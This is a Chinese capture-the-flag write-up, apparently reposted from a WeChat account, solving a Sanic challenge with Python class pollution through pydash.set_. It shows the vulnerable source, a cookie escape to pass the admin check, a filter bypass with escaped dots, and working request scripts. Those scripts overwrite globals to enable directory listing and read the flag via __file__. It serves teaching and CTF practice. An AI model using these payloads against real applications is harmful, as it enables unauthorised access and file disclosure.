出题思路
一血队伍解法
作者:CNSS-Hurrison
/src
, 访问得到源码from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
;
直接传会被截断,一眼考的 RFC2068 的编码规则Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.
These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068. They provide
a two-way quoting algorithm. Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the
three-digit octal equivalent of the character. Any '' or '"' is
quoted with a preceeding '' slash.
Check for special sequences. Examples:
�12 --> n
" --> "
import requests
base = ''
s = requests.Session()
s.cookies.update({
'user': '"adm\073n"'
})
s.get(base + '/login')
pydash/utilities.py:1262
def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
RE_PATH_KEY_DELIM
正则表达式分析,结合题目过滤的 _.
(?<!\)(?:\\)*.|([d+])
\.
会当作 .
进行处理,可以绕过题目的过滤,而 .
会作为 .
的转义不进行分割。接下来挖掘可污染变量,注意到注册的 static 路由会添加 DirectoryHandler
到 routeapp.static("/static/", "./static/")
directory_handler = DirectoryHandler(
uri=uri,
directory=file_or_directory,
directory_view=directory_view,
index=index,
)
directory_view
污染为 True
, directory
污染为根目录即可列出根目录文件,猜测 flag 在根目录下。pydash
只能处理 list
、obj
、dict
而不能处理 tuple
和 set
等对象,在分析时需要排除。if isinstance(obj, dict):
if allow_override or key not in obj:
obj[key] = value
elif isinstance(obj, list):
key = int(key)
if key < len(obj):
if allow_override:
obj[key] = value
else:
if key > len(obj):
# Pad list object with None values up to the index key so we can append the value
# into the key index.
obj[:] = (obj + [None] * key)[:key]
obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
setattr(obj, key, value)
app.router.name_index['__mp_main__.static']
可以访问到 DirectoryHandler
,key 里面有个 .
。根据之前分析的正则可以使用 .
转义。DirectoryHandler
的 directory
为 Path
对象(这个 class 实现似乎和平台相关),分析发现污染 __parts
为分割的路径列表即可。@classmethod
def _from_parts(cls, args, init=True):
# We need to call _parse_args on the instance, so as to get the
# right flavour.
self = object.__new__(cls)
drv, root, parts = self._parse_args(args)
self._drv = drv
self._root = root
self._parts = parts
if init:
self._init()
return self
DirectoryHandler
的 expimport requests
base = ''
s = requests.Session()
s.cookies.update({
'user': '"adm\073n"'
})
s.get(base + '/login')
# 开启目录浏览
data = {"key": "__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view", "value": True}
# 污染目录路径
# data = {"key": "__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
r = s.post(base + '/admin', json=data)
print(r.text)
/static/
得到 flag 文件名 24bcbd0192e591d6ded1_flag
,最后污染 __file__
为 /24bcbd0192e591d6ded1_flag
访问 /src
得到 flagdata = {"key": "__class__\\.__init__\\.__globals__\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
r = s.post(base + '/admin', json=data)
print(r.text)
print(s.get(base + '/src').text)
+ + + + + + + + + + +
原文始发于微信公众号(春秋伽玛):WP | Python原型链污染赛题Sanic解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论